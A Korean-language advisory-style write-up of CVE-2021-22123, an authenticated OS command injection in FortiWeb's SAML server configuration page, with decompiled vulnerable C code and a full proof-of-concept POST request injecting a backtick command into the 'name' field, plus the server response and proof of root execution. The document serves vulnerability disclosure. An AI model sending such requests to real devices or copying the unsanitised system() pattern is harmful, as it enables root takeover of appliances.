
[CVE-2021-22123] Fortinet FortiWeb 인증된 OS 명령 주입
[CVE-2021-22123] Fortinet FortiWeb 인증된 OS 명령 주입
Hit Counter
FortiWeb 관리 인터페이스의 명령 주입 취약점으로 인해 인증된 원격 공격자가 SAML 서버 구성 페이지를 통해 시스템에서 임의의 명령을 실행할 수 있습니다. 최대 권한으로 명령을 실행하면 공격자가 서버를 완전히 제어할 수 있게 됩니다. 이는 CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화에 해당하며 CVSSv3 기본 점수는 8.7입니다. 이 취약점은 CVE-2021-22123 번호로 Fortiguard Lab 페이지 (FG-IR-20-120)에서 해결되었습니다.
기본적으로 SAML은 Security Assertion Markup Language의 약자로, ID 공급자(IdP)와 서비스 공급자(SP)라는 두 당사자 간에 ID 데이터를 전송하기 위한 XML 기반 개방형 표준입니다. 단일 식별자를 사용하여 다양한 소프트웨어 제품에 액세스할 수 있게 해주는 SSO(Single Sign-On) 메커니즘의 작동을 보장하도록 설계되었습니다.
FortiWeb은 6.3.7 이전의 모든 버전 및 그 이하 버전에서 인증된 OS 명령 주입 취약점에 취약합니다. 이 취약점을 성공적으로 악용하면 공격자는 가능한 최고 권한으로 영향을 받는 장치를 완전히 제어할 수 있게 됩니다. 공격자는 지속형 셸(persistent shell), 암호화폐 채굴 소프트웨어 또는 기타 악성 소프트웨어를 설치할 수 있습니다. 드물게 관리 인터페이스가 인터넷에 노출된 경우, 공격자는 손상된 플랫폼을 사용하여 DMZ 너머의 영향을 받는 네트워크에 도달할 수 있습니다.
먼저 FortiWeb 장치의 관리 인터페이스에 인증된 공격자는 SAML 서버 구성 페이지의 name 필드에서 백틱(backtick)을 사용하여 명령을 주입할 수 있습니다. 그러면 이 명령은 기본 운영 체제의 루트 사용자로 실행됩니다. 취약한 코드 부분은 아래와 같습니다.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
개념 증명(PoC): 이 취약점을 악용하기 위해 다음 POST 요청을 사용할 수 있습니다.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
마지막으로, 'touch' 명령의 결과는 FortiWeb 장치의 로컬 명령줄에서 확인할 수 있습니다.
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
참고 자료: